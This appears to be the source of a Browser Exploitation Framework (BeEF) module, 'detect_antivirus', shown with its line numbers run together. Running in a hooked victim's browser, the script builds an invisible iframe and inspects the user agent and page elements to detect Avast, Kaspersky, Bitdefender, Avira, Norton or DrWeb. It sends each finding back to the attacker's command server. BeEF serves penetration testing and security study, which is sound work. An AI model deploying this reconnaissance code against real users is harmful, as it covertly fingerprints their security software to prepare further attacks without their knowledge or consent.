Path: blob/master/modules/host/detect_antivirus/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78//Detection of av elements starts9var image = "<body><img src='x'/></body>";10var hidden_iframe = beef.dom.createInvisibleIframe();11hidden_iframe.setAttribute("id", "frmin");12document.body.appendChild(hidden_iframe);13var kaspersky_iframe = hidden_iframe.contentDocument || hidden_iframe.contentWindow.document;14kaspersky_iframe.open();15kaspersky_iframe.write(image);16kaspersky_iframe.close();1718var frm = document.getElementById("frmin");19ka = frm.contentDocument.getElementsByTagName("html")[0].outerHTML;20var AV = document.getElementById("abs-top-frame");21var NAV = document.getElementById("coFrameDiv");22var ASWregexp = new RegExp("ASW\/");23//Detection of av elements ends2425if (ASWregexp.test(navigator.userAgent))26beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Avast');27if (ka.indexOf("kasperskylab_antibanner") !== -1)28beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Kaspersky');29else if (ka.indexOf("netdefender/hui/ndhui.js") !== -1)30beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Bitdefender');31else if (AV !== null) {32if (AV.outerHTML.indexOf('/html/top.html') >= 0 & AV.outerHTML.indexOf('chrome-extension://') >= 0)33beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Avira');34} else if (NAV !== null) {35var nort = NAV.outerHTML;36if (nort.indexOf('coToolbarFrame') >= 0 & nort.indexOf('/toolbar/placeholder.html') >= 0 & nort.indexOf('chrome-extension://') >= 0)37beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Norton');38} else if (document.getElementsByClassName('drweb_btn').length > 0)39beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=DrWeb');40else beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Not Detected');4142});434445